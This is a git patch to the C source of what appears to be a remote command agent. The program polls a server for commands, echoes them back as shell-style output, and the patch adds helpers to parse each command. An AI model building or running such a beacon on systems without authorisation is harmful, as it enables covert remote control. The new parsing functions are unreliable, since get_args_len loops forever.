From 4c828d80af9ceecb59ec184e1e20b78c4e1768a6 Mon Sep 17 00:00:00 2001 From: pupuupup Date: Sun, 4 Apr 2021 15:15:39 +0700 Subject: [PATCH] add util: get_command , get_args_len --- src/main.c | 90 ++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 63 insertions(+), 27 deletions(-) diff --git a/src/main.c b/src/main.c index c9eb1ac..38d95e3 100644 --- a/src/main.c +++ b/src/main.c @@ -26,28 +26,27 @@ int IDLE_TIME; int INTERVAL; long TIME_LAST_ACTIVE; -size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) { - size_t index = data->size; - size_t n = (size * nmemb); - char* tmp; - data->size += (size * nmemb); - fprintf(stderr, "data at %p size=%ld nmemb=%ld\n", ptr, size, nmemb); - tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */ - if(tmp){ - data->data = tmp; +/* ----------------------------------------------------------------------- * +* Utility +* ------------------------------------------------------------------------ */ +char* get_command(char* todo) +{ + char *token = strtok(todo, " "); + while (token != NULL) + { + return token; } - else +} + +int get_args_len(char* todo) +{ + char *token = strtok(todo, " "); + int count = 0; + while (token != NULL) { - if(data->data) - { - free(data->data); - } - fprintf(stderr, "Failed to allocate memory.\n"); - return 0; + count++; } - memcpy((data->data + index), ptr, n); - data->data[data->size] = '\0'; - return size * nmemb; + return count - 1; } void succeeded_request() @@ -88,6 +87,41 @@ char* get_unique_id() } } +long get_time() +{ + time_t current_time; + time(¤t_time); + return current_time; +} + + +/* ----------------------------------------------------------------------- * +* Request Wrapper +* ------------------------------------------------------------------------ */ +size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) { + size_t index = data->size; + size_t n = (size * nmemb); + char* tmp; + data->size += (size * nmemb); + fprintf(stderr, "data at %p size=%ld nmemb=%ld\n", ptr, size, nmemb); + tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */ + if(tmp){ + data->data = tmp; + } + else + { + if(data->data) + { + free(data->data); + } + fprintf(stderr, "Failed to allocate memory.\n"); + return 0; + } + memcpy((data->data + index), ptr, n); + data->data[data->size] = '\0'; + return size * nmemb; +} + char* get_request(char *path) { CURL *curl; @@ -153,6 +187,9 @@ char* post_request(char *path, char *post_data, bool json) return data.data; } +/* ----------------------------------------------------------------------- * +* Action Threads +* ------------------------------------------------------------------------ */ char* send_output(char* output, bool newlines) { if(output!= NULL && output[0] == '\0') return ""; @@ -177,13 +214,9 @@ char* say_hello() return post_request(path, post_data, true); } -long get_time() -{ - time_t current_time; - time(¤t_time); - return current_time; -} - +/* ----------------------------------------------------------------------- * +* Main Function +* ------------------------------------------------------------------------ */ void setup() { UID = malloc(BUFFER_SIZE); @@ -215,13 +248,16 @@ void run() char *todo = malloc(BUFFER_SIZE); char *output = malloc(BUFFER_SIZE); while(1){ - todo = say_hello(); //TODO: handle error + todo = say_hello(); if(!(todo!= NULL && todo[0] == '\0')) { IDLE = false; TIME_LAST_ACTIVE = get_time(); sprintf(output,"$ %s",todo); send_output(output, true); + char *command = get_command(todo); + int args_len = get_args_len(todo); + } else {